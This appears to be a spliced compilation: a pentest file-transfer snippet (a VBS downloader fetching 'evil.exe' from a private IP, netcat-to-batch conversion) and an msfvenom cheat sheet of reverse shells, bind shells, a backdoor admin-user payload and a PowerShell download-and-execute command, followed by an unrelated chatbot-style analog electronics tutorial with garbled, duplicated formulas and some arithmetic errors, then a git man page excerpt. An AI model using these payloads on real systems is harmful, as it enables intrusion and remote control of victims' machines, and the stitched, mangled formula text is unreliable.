echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe

Debug.exe The debug.exe program not only allows inspection of binaries but also has the capability to rebuild them from hex. This means that by providing an hex of a binary, debug.exe can generate the binary file. However, it's important to note that debug.exe has a limitation of assembling files up to 64 kb in size.

# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt

Then copy-paste the text into the windows-shell and a file called nc.exe will be created.

https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html

MSFVenom - CheatSheet

Reading time: 5 minutes

Basic msfvenom

msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>

One can also use the -a to specify the architecture or the --platform

Listing

msfvenom -l payloads #Payloads
msfvenom -l encoders #Encoders

Common params when creating a shellcode

-b "\x00\x0a\x0d"
-f c
-e x86/shikata_ga_nai -i 5
EXITFUNC=thread
PrependSetuid=True #Use this to create a shellcode that will execute something with SUID

Windows Reverse Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe

Bind Shell

msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe

Create User

msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe

CMD Shell

msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe

Execute Command

msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe

Encoder

msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe

Embedded inside executable

msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe

Linux Payloads Reverse Shell

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf

Bind Shell

msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf

SunOS (Solaris)

msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf

MAC Payloads

Reverse Shell:

msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho

Bind Shell

msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho

Web Based Payloads PHP Reverse shell

msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP/x Reverse shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx

JSP Reverse shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp

WAR Reverse Shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war

NodeJS

msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)

Script Language payloads Perl

msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl

Python

msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh

Linux

Design and Analysis of a Common Emitter PNP Amplifier

1. Problem Statement

We will design a Common Emitter PNP amplifier with the following specifications:

  • Voltage gain ( A_V = -10 )
  • Power supply ( V_{CC} = 12V )
  • Collector current ( I_C = 2mA )
  • Input impedance ( Z_{in} > 10kΩ )
  • Load resistor ( R_L = 2kΩ )

2. Step-by-Step Design Process

Step 1: Choose Emitter Resistance ( R_E )

Using the small-signal model approximation:

$$ r_e = \frac{25mV}{I_E} $$

Since ( I_E \approx I_C = 2mA ):

$$ r_e = \frac{25mV}{2mA} = 12.5Ω $$

To improve stability, we choose ( R_E ) 10× larger:

$$ R_E = 10 \times r_e = 125Ω $$

Using the nearest standard value:
( R_E = 130Ω )


Step 2: Choose Collector Resistance ( R_C )

Voltage gain is:

$$ A_V = -\frac{R_C}{r_e + R_E} $$

Rearranging for ( R_C ):

$$ R_C = A_V \times (r_e + R_E) $$

$$ R_C = 10 \times (12.5Ω + 130Ω) = 1.42kΩ $$

Using the nearest standard value:
( R_C = 1.5kΩ )


Step 3: Set Base Voltage ( V_B )

For proper operation:

$$ V_B = V_E + V_{BE} $$

For a PNP transistor, ( V_{BE} = -0.7V ), and:

$$ V_E = -I_E R_E = - (2mA \times 130Ω) = -0.26V $$

Thus:

$$ V_B = -0.26V - 0.7V = -0.96V $$


Step 4: Choose Base Resistors ( R_1 ) and ( R_2 )

Using a voltage divider:

$$ V_B = V_{CC} \times \frac{R_2}{R_1 + R_2} $$

Rearrange for ( R_2 ):

$$ R_2 = \frac{V_B}{V_{CC}} \times (R_1 + R_2) $$

Choosing ( R_1 = 100kΩ ):

$$ R_2 = \frac{-0.96V}{12V} \times (100kΩ + R_2) $$

Approximating ( R_2 \approx 10kΩ ), we use:
( R_2 = 10kΩ )


3. AC Coupling and Bypass Capacitor Design

Input Coupling Capacitor ( C_{in} )

$$ C_{in} = \frac{1}{2\pi f_c Z_{in}} $$

For ( f_c = 100Hz ) and ( Z_{in} \approx 10kΩ ):

$$ C_{in} = \frac{1}{2\pi (100)(10kΩ)} \approx 0.16\mu F $$

Using the standard value:
( C_{in} = 0.22\mu F )


Output Coupling Capacitor ( C_{out} )

$$ C_{out} = \frac{1}{2\pi f_c R_L} $$

For ( R_L = 2kΩ ):

$$ C_{out} = \frac{1}{2\pi (100)(2kΩ)} \approx 0.8\mu F $$

Using the standard value:
( C_{out} = 1\mu F )


Bypass Capacitor ( C_E )

For maximum gain:

$$ C_E = \frac{1}{2\pi f_c R_E} $$

$$ C_E = \frac{1}{2\pi (100)(130Ω)} \approx 12.3\mu F $$

Using the standard value:
( C_E = 10\mu F )


4. Verify Design Performance

Voltage Gain ( A_V ):

$$ A_V = -\frac{R_C}{r_e + R_E} = -\frac{1.5kΩ}{12.5Ω + 130Ω} = -10.6 $$

Close to target ( -10 ).


Input Impedance ( Z_{in} ):

$$ Z_{in} = (\beta + 1)(r_e + R_E) $$

Assuming ( \beta = 100 ):

$$ Z_{in} = (100 + 1) \times (12.5Ω + 130Ω) = 14.3kΩ $$

Meets requirement ( >10kΩ ).


Output Impedance ( Z_{out} ):

$$ Z_{out} \approx R_C = 1.5kΩ $$


5. Final Component Values

ComponentValue
( R_C )1.5kΩ
( R_E )130Ω
( R_1 )100kΩ
( R_2 )10kΩ
( C_{in} )0.22μF
( C_{out} )1μF
( C_E )10μF

6. Conclusion

  1. Determine amplifier requirements (gain, impedance, power supply).
  2. Set transistor biasing to ensure active region operation.
  3. Calculate resistors for gain and stability.
  4. Choose capacitors for AC coupling and frequency response.
  5. Verify performance through calculations.

Next Steps

  • Simulate this circuit using SPICE/Multisim.
  • Modify for different gain values.
  • Compare with a Common Base or Common Collector design.

Want More?

Would you like:

  • More worked examples?
  • A guide for designing a Common Base or Common Collector amplifier?
  • A practical SPICE simulation tutorial?

Let me know how you'd like to proceed! 😊

For an analog electronics exam, you'll need formulas covering key topics like circuit analysis, semiconductor devices, amplifiers, filters, and feedback systems. Below is a categorized list of essential formulas, their applications, and derivations where useful.


1. Basic Circuit Analysis

Ohm’s Law:

$$ V=IR $$

  • Application: Used for solving simple resistor networks.

Kirchhoff’s Laws:

  • KVL (Kirchhoff’s Voltage Law): The sum of voltages in a closed loop is zero. $$ ∑V=0 $$
  • KCL (Kirchhoff’s Current Law): The sum of currents entering a node equals the sum of currents leaving.

$$

∑I=0 $$

  • Application: Used for analyzing circuits with multiple loops and nodes.

Thevenin’s & Norton’s Theorems:

  • Thevenin Equivalent Resistance: $$ Rth=VocIscR_{\text{th}} = \frac{V_{\text{oc}}}{I_{\text{sc}}}Rth​=Isc​Voc​​ $$
  • Norton Equivalent Current:

IN=VocRthI_{\text{N}} = \frac{V_{\text{oc}}}{R_{\text{th}}}IN​=Rth​Voc​​

  • Application: Simplifies complex circuits into a single voltage or current source with equivalent resistance.

2. Diodes and Rectifiers

Diode Current Equation (Shockley Equation):

$$ ID=IS(eVDnVT−1)I_D = I_S \left( e^{\frac{V_D}{nV_T}} -1 \right)ID​=IS​(enVT​VD​​−1) $$ Where:

  • ISI_SIS​ = Reverse saturation current $$V_T​ = Thermal voltage (≈25mV at 300K)$$
  • nnn = Ideality factor (1 for Si, 2 for Ge)
  • Application: Determines the current flowing through a diode for a given voltage.

Rectifier Circuits:

  • Half-wave rectifier output voltage (ideal): $$ Vdc=VmπV_{\text{dc}} = \frac{V_m}{\pi}Vdc​=πVm​​ $$
  • Full-wave rectifier output voltage (ideal): $$ Vdc=2VmπV_{\text{dc}} = \frac{2V_m}{\pi}Vdc​=π2Vm​​ $$
  • Ripple voltage for capacitor filter: $$ Vripple=IfCV_{\text{ripple}} = \frac{I}{fC}Vripple​=fCI​ $$
  • Application: Used for AC-to-DC conversion.

3. Bipolar Junction Transistor (BJT)

DC Analysis of BJT:

  • Base current: $$ IB=VB−VBERBI_B = \frac{V_B - V_{BE}}{R_B}IB​=RB​VB​−VBE​​ $$
  • Collector current (active region): $$ IC=βIBI_C = \beta I_BIC​=βIB​ $$
  • Emitter current: $$ IE=IC+IB=ICαI_E = I_C + I_B = \frac{I_C}{\alpha}IE​=IC​+IB​=αIC​​ $$ Where: $$ α=ββ+1\alpha = \frac{\beta}{\beta +1}α=β+1β​ $$
  • Application: Determines operating point in amplifier design.

AC Analysis (Small-Signal Model):

  • Transconductance: $$ gm=ICVTg_m = \frac{I_C}{V_T}gm​=VT​IC​​ $$
  • Input resistance (common emitter amplifier): $$ rπ=βgmr_\pi = \frac{\beta}{g_m}rπ​=gm​β​ $$
  • Voltage gain (CE amplifier): $$ Av=−βRCrπA_v = -\beta \frac{R_C}{r_\pi}Av​=−βrπ​RC​​ $$
  • Application: Used for designing BJT amplifiers.

4. Field Effect Transistor (FET & MOSFET)

DC Analysis of MOSFET (Saturation Region):

$$ ID=12μnCoxWL(VGS−Vth)2I_D = \frac{1}{2} \mu_n C_{ox} \frac{W}{L} (V_{GS} - V_{th})^2ID​=21​μn​Cox​LW​(VGS​−Vth​)2 $$

  • Application: Determines MOSFET operating point.

Small-Signal Model of MOSFET:

  • Transconductance:

gm=2IDVGS−Vthg_m = \frac{2I_D}{V_{GS} - V_{th}}gm​=VGS​−Vth​2ID​​

  • Voltage gain:

Av=−gmRDA_v = -g_m R_DAv​=−gm​RD​

  • Application: Used in MOSFET amplifier design.

5. Amplifiers

Common-Emitter Voltage Gain:

Av=−βRCrπA_v = -\beta \frac{R_C}{r_\pi}Av​=−βrπ​RC​​

  • Derivation: Using small-signal model, Vout=−ICRCV_{\text{out}} = -I_C R_CVout​=−IC​RC​, and IC=βIBI_C = \beta I_BIC​=βIB​, substituting IB=Vin/rπI_B = V_{\text{in}}/r_\piIB​=Vin​/rπ​ gives:

Av=−βRCrπA_v = -\beta \frac{R_C}{r_\pi}Av​=−βrπ​RC​​

Gain-Bandwidth Product (for Op-Amps):

Gain×Bandwidth=constant\text{Gain} \times \text{Bandwidth} = \text{constant}Gain×Bandwidth=constant

  • Application: Used to determine op-amp stability and bandwidth.

6. Feedback and Stability

Closed-Loop Gain (Negative Feedback):

Af=A1+AβA_f = \frac{A}{1 + A \beta}Af​=1+AβA​

Where:

  • AAA = Open-loop gain

  • β\betaβ = Feedback factor

  • Application: Controls amplifier gain and bandwidth.

Bode Stability Criterion:

  • Phase margin:

PM=180∘+∠Loop Gain\text{PM} = 180^\circ + \angle \text{Loop Gain}PM=180∘+∠Loop Gain

  • Application: Ensures amplifier stability.

7. Filters and Frequency Response

First-Order Low-Pass Filter:

H(jω)=11+jωωcH(j\omega) = \frac{1}{1 + j\frac{\omega}{\omega_c}}H(jω)=1+jωc​ω​1​

  • Cutoff frequency:

ωc=1RC\omega_c = \frac{1}{RC}ωc​=RC1​

First-Order High-Pass Filter:

H(jω)=jωωc1+jωωcH(j\omega) = \frac{j\frac{\omega}{\omega_c}}{1 + j\frac{\omega}{\omega_c}}H(jω)=1+jωc​ω​jωc​ω​​

  • Application: Designs active/passive filters.

8. Oscillators

Barkhausen Criterion:

Aβ=1,∠Aβ=0∘ or 360∘A \beta = 1, \quad \angle A\beta = 0^\circ \text{ or } 360^\circAβ=1,∠Aβ=0∘ or 360∘

  • Application: Ensures sustained oscillations in circuits.

Wien Bridge Oscillator Frequency:

f=12πRCf = \frac{1}{2\pi RC}f=2πRC1​

  • Application: Used for sine wave generation.

9. Power Electronics

DC-DC Converter Efficiency:

η=PoutPin×100%\eta = \frac{P_{\text{out}}}{P_{\text{in}}} \times 100%η=Pin​Pout​​×100%

  • Application: Analyzes power conversion efficiency.

Buck Converter Output Voltage:

Vout=DVinV_{\text{out}} = D V_{\text{in}}Vout​=DVin​

  • Application: Designs step-down regulators.

Final Tips for Application:

  1. Understand Derivations – Many formulas come from circuit laws and small-signal models.
  2. Use SPICE/LTspice Simulations – Verify results for circuit performance.
  3. Memorize Key Expressions – Focus on amplifier gains, filter cutoffs, and transistor models.
  4. Practice Complex Problems – Solve past exam questions to solidify concepts.

Would you like step-by-step derivations for any specific formula?

4o

You said:

Are all these the formules i need??if there are more please provide them

3/3

ChatGPT said:

The formulas I provided cover the core topics in analog electronics, but depending on the depth of your exam, you may need more advanced or specific formulas. Below, I expand on additional topics and provide more formulas that could be useful.


10. Resonance and Frequency Response

Series RLC Circuit:

  • Resonant Frequency:

fr=12πLCf_r = \frac{1}{2\pi \sqrt{LC}}fr​=2πLC​1​

  • Quality Factor:

Q=1RLCQ = \frac{1}{R} \sqrt{\frac{L}{C}}Q=R1​CL​​

  • Bandwidth:

BW=frQBW = \frac{f_r}{Q}BW=Qfr​​

  • Application: Used in tuned amplifiers and oscillators.

11. Operational Amplifiers (Op-Amps)

Ideal Op-Amp Characteristics:

  1. Infinite open-loop gain (A→∞A \to \inftyA→∞)
  2. Infinite input impedance (Rin→∞R_{\text{in}} \to \inftyRin​→∞)
  3. Zero output impedance (Rout=0R_{\text{out}} = 0Rout​=0)

Common Op-Amp Configurations:

  • Inverting Amplifier:

Av=−RfRinA_v = -\frac{R_f}{R_{in}}Av​=−Rin​Rf​​

  • Non-Inverting Amplifier:

Av=1+RfRinA_v = 1 + \frac{R_f}{R_{in}}Av​=1+Rin​Rf​​

  • Voltage Follower (Buffer):

Av=1A_v = 1Av​=1

  • Differentiator:

Vout=−RCdVindtV_{\text{out}} = -RC \frac{dV_{\text{in}}}{dt}Vout​=−RCdtdVin​​

  • Integrator:

Vout=−1RC∫VindtV_{\text{out}} = -\frac{1}{RC} \int V_{\text{in}} dtVout​=−RC1​∫Vin​dt

  • Application: Used in signal processing, active filters, and control systems.

12. Feedback in Amplifiers

General Negative Feedback Gain Equation:

Af=A1+AβA_f = \frac{A}{1 + A\beta}Af​=1+AβA​

  • Effect of Negative Feedback:

    • Reduces gain variation
    • Increases bandwidth
    • Improves linearity
    • Reduces distortion
  • Application: Essential in designing stable amplifiers.


13. Power Amplifiers

Efficiency of Power Amplifiers:

  • Class A:

ηmax=25%\eta_{\text{max}} = 25%ηmax​=25%

  • Class B:

ηmax=78.5%\eta_{\text{max}} = 78.5%ηmax​=78.5%

  • Class AB: η\etaη is between Class A and B
  • Class C:

ηmax>80%\eta_{\text{max}} > 80%ηmax​>80%

  • Application: Determines power efficiency in audio and RF applications.

14. Noise in Electronic Circuits

Thermal Noise (Johnson-Nyquist Noise):

Vn=4kBTRBV_n = \sqrt{4 k_B T R B}Vn​=4kB​TRB​

Where:

  • kBk_BkB​ = Boltzmann’s constant (1.38×10−23J/K1.38 \times 10^{-23} J/K1.38×10−23J/K)

  • TTT = Temperature in Kelvin

  • RRR = Resistance (Ω\OmegaΩ)

  • BBB = Bandwidth (Hz)

  • Application: Important in low-noise amplifier design.


15. Voltage Regulation

Zener Diode Regulation:

$$ Vout=VZV_{\text{out}} = V_ZVout​=VZ​ $$

Linear Regulator (Basic Series Regulator):

$$ Vout=Vin−VdropV_{\text{out}} = V_{\text{in}} - V_{\text{drop}}Vout​=Vin​−Vdrop​ $$

  • Application: Provides stable DC voltage for circuits.

16. Schmitt Triggers and Comparators

Threshold Voltages for a Schmitt Trigger (Hysteresis Effect):

  • Upper threshold: $$ VTH+=R2R1+R2VccV_{TH+} = \frac{R_2}{R_1 + R_2} V_{\text{cc}}VTH+​=R1​+R2​R2​​Vcc​ $$
  • Lower threshold: $$ VTH−=R2R1+R2VeeV_{TH-} = \frac{R_2}{R_1 + R_2} V_{\text{ee}}VTH−​=R1​+R2​R2​​Vee​ $$
  • Application: Used to eliminate noise in digital circuits.

17. Analog Filters (Higher Order)

Second-Order Low-Pass Filter (Sallen-Key):

$$ H(s)=1s2+sQ+1H(s) = \frac{1}{s^2 + \frac{s}{Q} + 1}H(s)=s2+Qs​+11​ $$ Where: $$ Q=12Q = \frac{1}{\sqrt{2}}Q=2​1​ $$ For Butterworth filter (maximally flat response).

  • Application: Used in audio processing and signal conditioning.

18. Phase-Locked Loops (PLL)

Basic PLL Equation:

$$ fout=Nfreff_{\text{out}} = N f_{\text{ref}}fout​=Nfref​ $$

  • Application: Used in frequency synthesis and clock recovery.

19. Transmission Line Effects (RF Circuits)

Characteristic Impedance of a Transmission Line:

$$ Z0=LCZ_0 = \sqrt{\frac{L}{C}}Z0​=CL​​ $$

Voltage Standing Wave Ratio (VSWR):

$$ VSWR=1+∣Γ∣1−∣Γ∣VSWR = \frac{1 + |\Gamma|}{1 - |\Gamma|}VSWR=1−∣Γ∣1+∣Γ∣​ $$ Where: $$ Γ=ZL−Z0ZL+Z0\Gamma = \frac{Z_L - Z_0}{Z_L + Z_0}Γ=ZL​+Z0​ZL​−Z0​​ $$

  • Application: Used in RF and microwave engineering.

20. Miscellaneous Formulas

Decibel (dB) Calculations:

  • Voltage gain in dB: $$ Av(dB)=20log⁡(VoutVin)A_v (dB) = 20 \log \left( \frac{V_{\text{out}}}{V_{\text{in}}} \right)Av​(dB)=20log(Vin​Vout​​) $$
  • Power gain in dB: $$ Ap(dB)=10log⁡(PoutPin)A_p (dB) = 10 \log \left( \frac{P_{\text{out}}}{P_{\text{in}}} \right)Ap​(dB)=10log(Pin​Pout​​) $$
  • Noise Figure: $$ NF(dB)=10log⁡(SNRinSNRout)NF (dB) = 10 \log \left( \frac{\text{SNR}{\text{in}}}{\text{SNR}{\text{out}}} \right)NF(dB)=10log(SNRout​SNRin​​) $$
  • Application: Used in communication and audio systems.

Final Notes

These formulas cover most topics you are likely to encounter in an analog electronics exam. However, some exams may focus on particular areas like:

  • RF design (Smith charts, impedance matching)
  • Control systems (Bode plots, Nyquist stability)
  • Power electronics (SMPS, inverter design)

GIT(1) Git Manual GIT(1)

NAME git - the stupid content tracker

SYNOPSIS git [-v | --version] [-h | --help] [-C ] [-c =] [--exec-path[=]] [--html-path] [--man-path] [--info-path] [-p | --paginate | -P | --no-pager] [--no-replace-objects] [--no-lazy-fetch] [--no-optional-locks] [--no-advice] [--bare] [--git-dir=] [--work-tree=] [--namespace=] [--config-env==] []

DESCRIPTION Git is a fast, scalable, distributed revision control system with an unusually rich command set that provides both high-level operations and full access to internals.

See gittutorial(7) to get started, then see giteveryday(7) for a useful minimum set of commands. The Git User’s Manual[1] has a more in-depth introduction.

After you mastered the basic concepts, you can come back to this page to learn what commands Git offers. You can learn more about individual Git commands with "git help command". gitcli(7) manual page gives you an overview of the command-line command syntax.

A formatted and hyperlinked copy of the latest Git documentation can be viewed at https://git.github.io/htmldocs/git.html or https://git-scm.com/docs.

OPTIONS

-v, --version Prints the Git suite version that the git program came from.

This option is internally converted to git version ... and accepts the
same options as the git-version(1) command. If --help is also given,
it takes precedence over --version.

-h, --help

Prints the synopsis and a list of the most commonly used commands. If
the option --all or -a is given then all available commands are
printed. If a Git command is named this option will bring up the
manual page for that command.

Other options are available to control how the manual page is
displayed. See git-help(1) for more information, because git --help
... is converted internally into git help ....

-C <path> Run as if git was started in instead of the current working directory. When multiple -C options are given, each subsequent non-absolute -C is interpreted relative to the preceding -C . If is present but empty, e.g. -C "", then the current working directory is left unchanged.

This option affects options that expect path name like --git-dir and
--work-tree in that their interpretations of the path names would be
made relative to the working directory caused by the -C option. For
example the following invocations are equivalent:

git --git-dir=a.git --work-tree=b -C c status git --git-dir=c/a.git --work-tree=c/b status

-c <name>=<value> Pass a configuration parameter to the command. The value given will override values from configuration files. The is expected in the same format as listed by git config (subkeys separated by dots).

Note that omitting the = in git -c foo.bar ... is allowed and sets
foo.bar to the boolean true value (just like [foo]bar would in a
config file). Including the equals but with an empty value (like git
-c foo.bar= ...) sets foo.bar to the empty string which git config
--type=bool will convert to false.

--config-env=<name>=<envvar> Like -c =, give configuration variable a value, where is the name of an environment variable from which to retrieve the value. Unlike -c there is no shortcut for directly setting the value to an empty string, instead the environment variable itself must be set to the empty string. It is an error if the does not exist in the environment. may not contain an equals sign to avoid ambiguity with containing one.

This is useful for cases where you want to pass transitory
configuration options to git, but are doing so on operating systems
where other processes might be able to read your command line (e.g.
/proc/self/cmdline), but not your environment (e.g.
/proc/self/environ). That behavior is the default on Linux, but may
not be on your system.

Note that this might add security for variables such as
http.extraHeader where the sensitive information is part of the value,
but not e.g.  url.<base>.insteadOf where the sensitive information can
be part of the key.

--exec-path[=<path>] Path to wherever your core Git programs are installed. This can also be controlled by setting the GIT_EXEC_PATH environment variable. If no path is given, git will print the current setting and then exit.

--html-path Print the path, without trailing slash, where Git’s HTML documentation is installed and exit.

--man-path Print the manpath (see man(1)) for the man pages for this version of Git and exit.

--info-path Print the path where the Info files documenting this version of Git are installed and exit.

-p, --paginate Pipe all output into less (or if set, $PAGER) if standard output is a terminal. This overrides the pager. configuration options (see the "Configuration Mechanism" section below).

-P, --no-pager Do not pipe Git output into a pager.

--git-dir=<path> Set the path to the repository (".git" directory). This can also be controlled by setting the GIT_DIR environment variable. It can be an absolute path or relative path to current working directory.

Specifying the location of the ".git" directory using this option (or
GIT_DIR environment variable) turns off the repository discovery that
tries to find a directory with ".git" subdirectory (which is how the
repository and the top-level of the working tree are discovered), and
tells Git that you are at the top level of the working tree. If you
are not at the top-level directory of the working tree, you should
tell Git where the top-level of the working tree is, with the
--work-tree=<path> option (or GIT_WORK_TREE environment variable)

If you just want to run git as if it was started in <path> then use
git -C <path>.

--work-tree=<path> Set the path to the working tree. It can be an absolute path or a path relative to the current working directory. This can also be controlled by setting the GIT_WORK_TREE environment variable and the core.worktree configuration variable (see core.worktree in git- config(1) for a more detailed discussion).

--namespace=<path> Set the Git namespace. See gitnamespaces(7) for more details. Equivalent to setting the GIT_NAMESPACE environment variable.

--bare Treat the repository as a bare repository. If GIT_DIR environment is not set, it is set to the current working directory.

--no-replace-objects Do not use replacement refs to replace Git objects. This is equivalent to exporting the GIT_NO_REPLACE_OBJECTS environment variable with any value. See git-replace(1) for more information.

--no-lazy-fetch Do not fetch missing objects from the promisor remote on demand. Useful together with git cat-file -e to see if the object is locally available. This is equivalent to setting the GIT_NO_LAZY_FETCH environment variable to 1.

--no-optional-locks Do not perform optional operations that require locks. This is equivalent to setting the GIT_OPTIONAL_LOCKS to 0.

--no-advice Disable all advice hints from being printed.

--literal-pathspecs Treat pathspecs literally (i.e. no globbing, no pathspec magic). This is equivalent to setting the GIT_LITERAL_PATHSPECS environment variable to 1.

--glob-pathspecs Add "glob" magic to all pathspec. This is equivalent to setting the GIT_GLOB_PATHSPECS environment variable to 1. Disabling globbing on individual pathspecs can be done using pathspec magic ":(literal)"

--noglob-pathspecs Add "literal" magic to all pathspec. This is equivalent to setting the GIT_NOGLOB_PATHSPECS environment variable to 1. Enabling globbing on individual pathspecs can be done using pathspec magic ":(glob)"

--icase-pathspecs Add "icase" magic to all pathspec. This is equivalent to setting the GIT_ICASE_PATHSPECS environment variable to 1.

--list-cmds=<group>[,<group>...] List commands by group. This is an internal/experimental option and may change or be removed in the future. Supported groups are: builtins, parseopt (builtin commands that use parse-options), main (all commands in libexec directory), others (all other commands in $PATH that have git- prefix), list- (see categories in command-list.txt), nohelpers (exclude helper commands), alias and config (retrieve command list from config variable completion.commands)

--attr-source=<tree-ish> Read gitattributes from instead of the worktree. See gitattributes(5). This is equivalent to setting the GIT_ATTR_SOURCE environment variable.

GIT COMMANDS

We divide Git into high level ("porcelain") commands and low level ("plumbing") commands.

HIGH-LEVEL COMMANDS (PORCELAIN)

We separate the porcelain commands into the main commands and some ancillary user utilities.

Main porcelain commands git-add(1) Add file contents to the index.

git-am(1) Apply a series of patches from a mailbox.

git-archive(1) Create an archive of files from a named tree.

git-bisect(1) Use binary search to find the commit that introduced a bug.

git-branch(1) List, create, or delete branches.

git-bundle(1) Move objects and refs by archive.

git-checkout(1) Switch branches or restore working tree files.

git-cherry-pick(1) Apply the changes introduced by some existing commits.

git-citool(1) Graphical alternative to git-commit.

git-clean(1) Remove untracked files from the working tree.

git-clone(1) Clone a repository into a new directory.

git-commit(1) Record changes to the repository.

git-describe(1) Give an object a human readable name based on an available ref.

git-diff(1) Show changes between commits, commit and working tree, etc.

git-fetch(1) Download objects and refs from another repository.

git-format-patch(1) Prepare patches for e-mail submission.

git-gc(1) Cleanup unnecessary files and optimize the local repository.

git-grep(1) Print lines matching a pattern.

git-gui(1) A portable graphical interface to Git.

git-init(1) Create an empty Git repository or reinitialize an existing one.

git-log(1) Show commit logs.

git-maintenance(1) Run tasks to optimize Git repository data.

git-merge(1) Join two or more development histories together.

git-mv(1) Move or rename a file, a directory, or a symlink.

git-notes(1) Add or inspect object notes.

git-pull(1) Fetch from and integrate with another repository or a local branch.

git-push(1) Update remote refs along with associated objects.

git-range-diff(1) Compare two commit ranges (e.g. two versions of a branch).

git-rebase(1) Reapply commits on top of another base tip.

git-reset(1) Reset current HEAD to the specified state.

git-restore(1) Restore working tree files.

git-revert(1) Revert some existing commits.

git-rm(1) Remove files from the working tree and from the index.

git-shortlog(1) Summarize git log output.

git-show(1) Show various types of objects.

git-sparse-checkout(1) Reduce your working tree to a subset of tracked files.

git-stash(1) Stash the changes in a dirty working directory away.

git-status(1) Show the working tree status.

git-submodule(1) Initialize, update or inspect submodules.

git-switch(1) Switch branches.

git-tag(1) Create, list, delete or verify a tag object signed with GPG.

git-worktree(1) Manage multiple working trees.

gitk(1) The Git repository browser.

scalar(1) A tool for managing large Git repositories.

Ancillary Commands Manipulators:

git-config(1) Get and set repository or global options.

git-fast-export(1) Git data exporter.

git-fast-import(1) Backend for fast Git data importers.

git-filter-branch(1) Rewrite branches.

git-mergetool(1) Run merge conflict resolution tools to resolve merge conflicts.

git-pack-refs(1) Pack heads and tags for efficient repository access.

git-prune(1) Prune all unreachable objects from the object database.

git-reflog(1) Manage reflog information.

git-refs(1) Low-level access to refs.

git-remote(1) Manage set of tracked repositories.

git-repack(1) Pack unpacked objects in a repository.

git-replace(1) Create, list, delete refs to replace objects.

Interrogators:

git-annotate(1) Annotate file lines with commit information.

git-blame(1) Show what revision and author last modified each line of a file.

git-bugreport(1) Collect information for user to file a bug report.

git-count-objects(1) Count unpacked number of objects and their disk consumption.

git-diagnose(1) Generate a zip archive of diagnostic information.

git-difftool(1) Show changes using common diff tools.

git-fsck(1) Verifies the connectivity and validity of the objects in the database.

git-help(1) Display help information about Git.

git-instaweb(1) Instantly browse your working repository in gitweb.

git-merge-tree(1) Perform merge without touching index or working tree.

git-rerere(1) Reuse recorded resolution of conflicted merges.

git-show-branch(1) Show branches and their commits.

git-verify-commit(1) Check the GPG signature of commits.

git-verify-tag(1) Check the GPG signature of tags.

git-version(1) Display version information about Git.

git-whatchanged(1) Show logs with differences each commit introduces.

gitweb(1) Git web interface (web frontend to Git repositories).

Interacting with Others These commands are to interact with foreign SCM and with other people via patch over e-mail.

git-archimport(1) Import a GNU Arch repository into Git.

git-cvsexportcommit(1) Export a single commit to a CVS checkout.

git-cvsimport(1) Salvage your data out of another SCM people love to hate.

